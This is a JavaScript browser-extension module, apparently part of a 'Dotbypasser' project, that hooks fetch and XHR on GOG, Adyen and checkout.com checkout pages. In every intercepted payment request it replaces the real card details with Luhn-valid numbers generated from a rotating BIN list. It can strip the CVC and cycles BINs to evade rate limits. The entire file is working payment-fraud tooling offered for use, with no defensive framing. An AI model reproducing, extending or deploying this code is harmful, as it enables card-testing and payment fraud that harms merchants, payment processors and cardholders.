Files
Dotbypasser/extension/content/modules/GogPaymentHandlerModule.js
2026-01-10 17:24:58 +08:00

1005 lines
29 KiB
JavaScript

/**
* ============================================================================
* GOG/Adyen Payment Handler Module (Modularized Version)
* ============================================================================
* 功能:
* 1. 攔截 GOG/Adyen 支付請求
* 2. 解析多種請求體格式 (JSON/FormData/URLSearchParams)
* 3. 根據 BIN 列表自動生成有效卡號
* 4. 替換原始請求中的卡號、有效期、CVC
* 5. 支持 CVC 移除邏輯
* 6. 輪詢多個 BIN 以繞過頻率限制
*
* 使用方式:
* const handler = new GogPaymentHandlerModule(config);
* handler.init();
* ============================================================================
*/
class GogPaymentHandlerModule {
constructor(config = {}) {
// 默認配置
this.config = {
enabled: true, // 是否啟用模塊
debug: false, // 調試模式
removeCvc: false, // 是否移除 CVC
binList: [], // BIN 列表 (例: ['424242', '378282'])
autoRotateBin: true, // 自動輪詢 BIN
targetDomains: [ // 目標域名
'gog.com',
'adyen.com',
'checkout.com'
],
targetKeywords: [ // URL 關鍵詞
'payment',
'checkout',
'adyen',
'paymentMethods',
'payments'
],
cardFields: { // 卡字段映射
number: ['cardNumber', 'number', 'card.number', 'encryptedCardNumber'],
month: ['expiryMonth', 'month', 'card.expiryMonth', 'exp_month'],
year: ['expiryYear', 'year', 'card.expiryYear', 'exp_year'],
cvc: ['cvc', 'cvv', 'securityCode', 'card.cvc']
},
saveToStorage: true, // 保存最後使用的卡信息
storageKeys: {
lastCard: 'gogBypasserLastCardString',
lastCardJson: 'gogBypasserLastCardJSON',
binIndex: 'gogBypasserBinIndex'
},
...config
};
// 運行時狀態
this.currentBinIndex = 0;
this.lastResetTime = Date.now();
this.processedRequests = new Set();
this.cardGenerator = null;
// 原始方法引用
this.originalFetch = null;
this.originalXHROpen = null;
this.originalXHRSend = null;
// 綁定方法
this.handleFetch = this.handleFetch.bind(this);
}
/**
* 初始化模塊
*/
init() {
this.log('Initializing GOG Payment Handler Module...');
// 1. 加載 BIN 索引
this.loadBinIndex();
// 2. 初始化卡號生成器
this.initCardGenerator();
// 3. Hook 網絡請求
this.hookFetch();
this.hookXHR();
// 4. 註冊消息監聽
this.setupMessageListener();
// 5. 暴露全局接口
this.exposeGlobalAPI();
this.log('Module initialized successfully');
}
/**
* 銷毀模塊
*/
destroy() {
if (this.originalFetch) {
window.fetch = this.originalFetch;
}
if (this.originalXHROpen) {
XMLHttpRequest.prototype.open = this.originalXHROpen;
}
if (this.originalXHRSend) {
XMLHttpRequest.prototype.send = this.originalXHRSend;
}
this.log('Module destroyed');
}
/**
* ========================================================================
* BIN 管理
* ========================================================================
*/
/**
* 加載 BIN 索引
*/
loadBinIndex() {
try {
if (this.config.saveToStorage && window.localStorage) {
const saved = localStorage.getItem(this.config.storageKeys.binIndex);
if (saved) {
this.currentBinIndex = parseInt(saved, 10) || 0;
}
}
} catch (e) {
this.warn('Failed to load BIN index from storage:', e);
}
}
/**
* 保存 BIN 索引
*/
saveBinIndex() {
try {
if (this.config.saveToStorage && window.localStorage) {
localStorage.setItem(
this.config.storageKeys.binIndex,
String(this.currentBinIndex)
);
}
} catch (e) {
// Ignore
}
}
/**
* 獲取下一個 BIN
*/
getNextBin() {
if (this.config.binList.length === 0) {
this.warn('BIN list is empty');
return null;
}
const bin = this.config.binList[this.currentBinIndex % this.config.binList.length];
if (this.config.autoRotateBin) {
this.currentBinIndex++;
this.saveBinIndex();
}
return bin;
}
/**
* 更新 BIN 列表
*/
updateBinList(newBins) {
if (Array.isArray(newBins)) {
this.config.binList = newBins
.filter(b => b && typeof b === 'string')
.map(b => b.trim())
.filter(b => b.length >= 6);
} else if (typeof newBins === 'string') {
// 支持換行符分隔
this.config.binList = newBins
.split('\n')
.map(b => b.trim())
.filter(b => b.length >= 6);
}
this.log('BIN list updated:', this.config.binList);
}
/**
* ========================================================================
* 卡號生成器
* ========================================================================
*/
/**
* 初始化卡號生成器
*/
initCardGenerator() {
// 嘗試使用全局生成器
if (window.StripeBypasserCardGenerator) {
this.cardGenerator = window.StripeBypasserCardGenerator;
this.log('Using global card generator');
return;
}
// 否則使用內置生成器
this.cardGenerator = {
generateCard: (bin) => this.generateCardInternal(bin)
};
this.log('Using internal card generator');
}
/**
* 內置卡號生成器 (Luhn 算法)
*/
generateCardInternal(bin) {
if (!bin || bin.length < 6) {
this.error('Invalid BIN:', bin);
return null;
}
// 生成隨機補充數字 (總長度 16 位)
let cardNumber = bin;
while (cardNumber.length < 15) {
cardNumber += Math.floor(Math.random() * 10);
}
// 計算 Luhn 校驗位
const checkDigit = this.calculateLuhnCheckDigit(cardNumber);
cardNumber += checkDigit;
// 生成隨機有效期和 CVC
const currentYear = new Date().getFullYear();
const month = String(Math.floor(Math.random() * 12) + 1).padStart(2, '0');
const year = String(currentYear + Math.floor(Math.random() * 5) + 1);
const cvc = String(Math.floor(Math.random() * 900) + 100);
return {
number: cardNumber,
month: month,
year: year,
cvc: cvc
};
}
/**
* Luhn 算法校驗位計算
*/
calculateLuhnCheckDigit(cardNumber) {
let sum = 0;
let shouldDouble = true;
for (let i = cardNumber.length - 1; i >= 0; i--) {
let digit = parseInt(cardNumber[i], 10);
if (shouldDouble) {
digit *= 2;
if (digit > 9) digit -= 9;
}
sum += digit;
shouldDouble = !shouldDouble;
}
const checkDigit = (10 - (sum % 10)) % 10;
return String(checkDigit);
}
/**
* ========================================================================
* Fetch Hook
* ========================================================================
*/
hookFetch() {
if (this.originalFetch) return;
this.originalFetch = window.fetch;
const self = this;
window.fetch = async function(...args) {
return await self.handleFetch(this, args, self.originalFetch);
};
this.log('Fetch API hooked');
}
async handleFetch(context, args, originalFetch) {
const [url, options = {}] = args;
const urlString = this.normalizeUrl(url);
// 檢查是否為目標請求
if (!this.isTargetRequest(urlString)) {
return await originalFetch.apply(context, args);
}
this.log('Intercepted payment request:', urlString);
// 處理支付請求
const modifiedOptions = await this.processPaymentRequest(url, options);
// 發送修改後的請求
return await originalFetch.apply(context, [url, modifiedOptions]);
}
/**
* ========================================================================
* XHR Hook
* ========================================================================
*/
hookXHR() {
if (this.originalXHROpen) return;
this.originalXHROpen = XMLHttpRequest.prototype.open;
this.originalXHRSend = XMLHttpRequest.prototype.send;
const self = this;
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
this._gogUrl = self.normalizeUrl(url);
this._gogMethod = method;
return self.originalXHROpen.apply(this, [method, url, ...rest]);
};
XMLHttpRequest.prototype.send = function(body) {
const url = this._gogUrl;
if (!self.isTargetRequest(url)) {
return self.originalXHRSend.apply(this, [body]);
}
self.log('Intercepted XHR payment request:', url);
// 處理 XHR 請求體
const options = {
method: this._gogMethod,
body: body,
headers: {}
};
self.processPaymentRequest(url, options).then(modifiedOptions => {
self.originalXHRSend.apply(this, [modifiedOptions.body]);
}).catch(err => {
self.error('XHR modification failed:', err);
self.originalXHRSend.apply(this, [body]);
});
};
this.log('XHR hooked');
}
/**
* ========================================================================
* 請求處理核心邏輯
* ========================================================================
*/
/**
* 處理支付請求
*/
async processPaymentRequest(url, options) {
if (!this.config.enabled) {
return options;
}
// 檢查是否有 BIN 列表
if (this.config.binList.length === 0) {
this.warn('BIN list is empty, skipping modification');
return options;
}
// 獲取下一個 BIN
const bin = this.getNextBin();
if (!bin) {
return options;
}
// 生成新卡號
const card = this.cardGenerator.generateCard(bin);
if (!card) {
this.error('Failed to generate card for BIN:', bin);
return options;
}
this.log('Generated card:', {
number: card.number.slice(0, 6) + '******' + card.number.slice(-4),
month: card.month,
year: card.year
});
// 解析和修改請求體
const modifiedBody = await this.modifyRequestBody(options.body, card);
// 保存卡信息
this.saveCardInfo(card);
// 廣播事件
this.broadcastCardGenerated(card, url);
return {
...options,
body: modifiedBody
};
}
/**
* 修改請求體
*/
async modifyRequestBody(body, card) {
if (!body) return body;
const bodyType = this.detectBodyType(body);
this.log('Request body type:', bodyType);
switch (bodyType) {
case 'json':
return this.modifyJsonBody(body, card);
case 'formdata':
return this.modifyFormDataBody(body, card);
case 'urlsearchparams':
return this.modifyUrlSearchParamsBody(body, card);
case 'string':
return this.modifyStringBody(body, card);
default:
return body;
}
}
/**
* 檢測請求體類型
*/
detectBodyType(body) {
if (typeof body === 'string') {
try {
JSON.parse(body);
return 'json';
} catch (e) {
if (body.includes('=')) {
return 'urlsearchparams';
}
return 'string';
}
}
if (body instanceof FormData) return 'formdata';
if (body instanceof URLSearchParams) return 'urlsearchparams';
if (typeof body === 'object') return 'json';
return 'unknown';
}
/**
* 修改 JSON 格式請求體
*/
modifyJsonBody(body, card) {
try {
const data = typeof body === 'string' ? JSON.parse(body) : body;
// 處理嵌套結構 (例: { card: { number: '...', ... } })
if (data.card && typeof data.card === 'object') {
data.card.number = card.number;
data.card.expiryMonth = card.month;
data.card.expiryYear = card.year;
if (this.config.removeCvc) {
delete data.card.cvc;
delete data.card.cvv;
delete data.card.securityCode;
} else {
data.card.cvc = card.cvc;
}
}
// 處理扁平結構
for (const field of this.config.cardFields.number) {
if (this.hasNestedProperty(data, field)) {
this.setNestedProperty(data, field, card.number);
}
}
for (const field of this.config.cardFields.month) {
if (this.hasNestedProperty(data, field)) {
this.setNestedProperty(data, field, card.month);
}
}
for (const field of this.config.cardFields.year) {
if (this.hasNestedProperty(data, field)) {
this.setNestedProperty(data, field, card.year);
}
}
if (this.config.removeCvc) {
for (const field of this.config.cardFields.cvc) {
this.deleteNestedProperty(data, field);
}
} else {
for (const field of this.config.cardFields.cvc) {
if (this.hasNestedProperty(data, field)) {
this.setNestedProperty(data, field, card.cvc);
}
}
}
this.log('JSON body modified successfully');
return JSON.stringify(data);
} catch (e) {
this.error('Failed to modify JSON body:', e);
return body;
}
}
/**
* 修改 FormData 格式請求體
*/
modifyFormDataBody(body, card) {
try {
const newFormData = new FormData();
for (const [key, value] of body.entries()) {
let modified = false;
// 檢查是否為卡號字段
for (const field of this.config.cardFields.number) {
if (key.includes(field) || key === field) {
newFormData.append(key, card.number);
modified = true;
break;
}
}
if (!modified) {
// 檢查月份
for (const field of this.config.cardFields.month) {
if (key.includes(field) || key === field) {
newFormData.append(key, card.month);
modified = true;
break;
}
}
}
if (!modified) {
// 檢查年份
for (const field of this.config.cardFields.year) {
if (key.includes(field) || key === field) {
newFormData.append(key, card.year);
modified = true;
break;
}
}
}
if (!modified) {
// 檢查 CVC
const isCvcField = this.config.cardFields.cvc.some(f =>
key.includes(f) || key === f
);
if (isCvcField) {
if (!this.config.removeCvc) {
newFormData.append(key, card.cvc);
}
modified = true;
}
}
// 如果沒有修改,保持原值
if (!modified) {
newFormData.append(key, value);
}
}
this.log('FormData body modified successfully');
return newFormData;
} catch (e) {
this.error('Failed to modify FormData body:', e);
return body;
}
}
/**
* 修改 URLSearchParams 格式請求體
*/
modifyUrlSearchParamsBody(body, card) {
try {
const params = typeof body === 'string'
? new URLSearchParams(body)
: new URLSearchParams(body.toString());
// 替換卡號
for (const field of this.config.cardFields.number) {
if (params.has(field)) {
params.set(field, card.number);
}
}
// 替換月份
for (const field of this.config.cardFields.month) {
if (params.has(field)) {
params.set(field, card.month);
}
}
// 替換年份
for (const field of this.config.cardFields.year) {
if (params.has(field)) {
params.set(field, card.year);
}
}
// 處理 CVC
if (this.config.removeCvc) {
for (const field of this.config.cardFields.cvc) {
params.delete(field);
}
} else {
for (const field of this.config.cardFields.cvc) {
if (params.has(field)) {
params.set(field, card.cvc);
}
}
}
this.log('URLSearchParams body modified successfully');
return params.toString();
} catch (e) {
this.error('Failed to modify URLSearchParams body:', e);
return body;
}
}
/**
* 修改字符串格式請求體 (純文本或其他格式)
*/
modifyStringBody(body, card) {
try {
let modified = body;
// 使用正則表達式替換卡號模式
// 匹配 13-19 位數字
const cardNumberPattern = /\b\d{13,19}\b/g;
modified = modified.replace(cardNumberPattern, card.number);
this.log('String body modified (pattern matching)');
return modified;
} catch (e) {
this.error('Failed to modify string body:', e);
return body;
}
}
/**
* ========================================================================
* 嵌套對象處理工具
* ========================================================================
*/
/**
* 檢查嵌套屬性是否存在
*/
hasNestedProperty(obj, path) {
const keys = path.split('.');
let current = obj;
for (const key of keys) {
if (current && typeof current === 'object' && key in current) {
current = current[key];
} else {
return false;
}
}
return true;
}
/**
* 設置嵌套屬性
*/
setNestedProperty(obj, path, value) {
const keys = path.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!(key in current)) {
current[key] = {};
}
current = current[key];
}
current[keys[keys.length - 1]] = value;
}
/**
* 刪除嵌套屬性
*/
deleteNestedProperty(obj, path) {
const keys = path.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!(key in current)) {
return;
}
current = current[key];
}
delete current[keys[keys.length - 1]];
}
/**
* ========================================================================
* 存儲與廣播
* ========================================================================
*/
/**
* 保存卡信息到 LocalStorage
*/
saveCardInfo(card) {
if (!this.config.saveToStorage) return;
try {
const cardString = `${card.number}|${card.month}|${card.year}|${card.cvc || ''}`;
localStorage.setItem(
this.config.storageKeys.lastCard,
cardString
);
localStorage.setItem(
this.config.storageKeys.lastCardJson,
JSON.stringify(card)
);
this.log('Card info saved to storage');
} catch (e) {
this.warn('Failed to save card info:', e);
}
}
/**
* 從 LocalStorage 加載最後的卡信息
*/
getLastCardInfo() {
try {
const json = localStorage.getItem(this.config.storageKeys.lastCardJson);
if (json) {
return JSON.parse(json);
}
} catch (e) {
// Ignore
}
return null;
}
/**
* 廣播卡號生成事件
*/
broadcastCardGenerated(card, url) {
// postMessage 廣播
window.postMessage({
type: 'GOG_BYPASSER_EVENT',
eventType: 'CARD_GENERATED',
card: {
number: card.number,
month: card.month,
year: card.year,
cvc: this.config.removeCvc ? null : card.cvc,
maskedNumber: card.number.slice(0, 6) + '******' + card.number.slice(-4)
},
url: url,
timestamp: Date.now()
}, '*');
// CustomEvent 廣播
if (document) {
document.dispatchEvent(new CustomEvent('GOG_CARD_GENERATED', {
detail: {
card: card,
url: url
}
}));
}
}
/**
* ========================================================================
* 工具方法
* ========================================================================
*/
/**
* 標準化 URL
*/
normalizeUrl(url) {
try {
if (typeof url === 'string') return url;
if (url instanceof URL) return url.toString();
if (url && url.url) return url.url;
return String(url);
} catch (e) {
return '';
}
}
/**
* 判斷是否為目標請求
*/
isTargetRequest(url) {
if (!url) return false;
const urlLower = url.toLowerCase();
// 檢查域名
const domainMatch = this.config.targetDomains.some(domain =>
urlLower.includes(domain.toLowerCase())
);
// 檢查關鍵詞
const keywordMatch = this.config.targetKeywords.some(keyword =>
urlLower.includes(keyword.toLowerCase())
);
return domainMatch || keywordMatch;
}
/**
* ========================================================================
* 消息監聽
* ========================================================================
*/
setupMessageListener() {
window.addEventListener('message', (event) => {
const data = event.data;
if (data?.type === 'GOG_HANDLER_UPDATE_CONFIG') {
this.updateConfig(data.config);
}
if (data?.type === 'GOG_HANDLER_UPDATE_BIN') {
this.updateBinList(data.bins);
}
if (data?.type === 'GOG_HANDLER_RESET') {
this.reset();
}
if (data?.type === 'GOG_HANDLER_GENERATE_CARD') {
const bin = data.bin || this.getNextBin();
const card = this.cardGenerator.generateCard(bin);
// 回復消息
window.postMessage({
type: 'GOG_HANDLER_CARD_RESPONSE',
card: card
}, '*');
}
});
}
/**
* ========================================================================
* 配置管理
* ========================================================================
*/
/**
* 更新配置
*/
updateConfig(newConfig) {
Object.assign(this.config, newConfig);
// 如果更新了 BIN 列表,處理它
if (newConfig.binList) {
this.updateBinList(newConfig.binList);
}
this.log('Config updated:', this.config);
}
/**
* 重置狀態
*/
reset() {
this.currentBinIndex = 0;
this.processedRequests.clear();
this.saveBinIndex();
this.log('Module state reset');
}
/**
* 獲取當前狀態
*/
getStatus() {
return {
enabled: this.config.enabled,
binCount: this.config.binList.length,
currentBinIndex: this.currentBinIndex,
lastCard: this.getLastCardInfo(),
processedCount: this.processedRequests.size,
config: this.config
};
}
/**
* ========================================================================
* 全局 API
* ========================================================================
*/
exposeGlobalAPI() {
window.gogBypasser = {
module: this,
handlePayment: (url, options) => this.processPaymentRequest(url, options),
generateCard: (bin) => this.cardGenerator.generateCard(bin || this.getNextBin()),
getStatus: () => this.getStatus(),
updateConfig: (cfg) => this.updateConfig(cfg),
updateBins: (bins) => this.updateBinList(bins),
reset: () => this.reset()
};
this.log('Global API exposed as window.gogBypasser');
}
/**
* ========================================================================
* 日誌工具
* ========================================================================
*/
log(...args) {
if (this.config.debug) {
console.log('[GOG Handler]', ...args);
}
}
warn(...args) {
if (this.config.debug) {
console.warn('[GOG Handler]', ...args);
}
}
error(...args) {
console.error('[GOG Handler]', ...args);
}
}
/**
* ============================================================================
* 全局暴露與自動初始化
* ============================================================================
*/
window.GogPaymentHandlerModule = GogPaymentHandlerModule;
// 自動初始化選項
if (typeof GOG_AUTO_INIT !== 'undefined' && GOG_AUTO_INIT) {
const instance = new GogPaymentHandlerModule({
enabled: true,
debug: true,
binList: window.GOG_BIN_LIST || [],
removeCvc: false
});
instance.init();
window.__gogHandler = instance;
}
// ============================================================================
// Extension Compatibility Wrapper
// ============================================================================
window.addEventListener('message', (event) => {
if (event.source !== window) return;
const message = event.data;
if (message && message.type === 'INIT_MODULE' && message.moduleName === 'gogPayment') {
if (window.__gogPaymentInstance) return;
try {
const instance = new GogPaymentHandlerModule(message.config);
instance.init();
window.__gogPaymentInstance = instance;
console.log('[Extension] GOG Payment Handler initialized');
} catch (error) {
console.error('[Extension] GOG Payment init failed:', error);
}
}
if (message && message.type === 'DESTROY_MODULE' && message.instanceKey === '__gogPaymentInstance') {
const instance = window.__gogPaymentInstance;
if (instance && typeof instance.destroy === 'function') {
instance.destroy();
delete window.__gogPaymentInstance;
}
}
});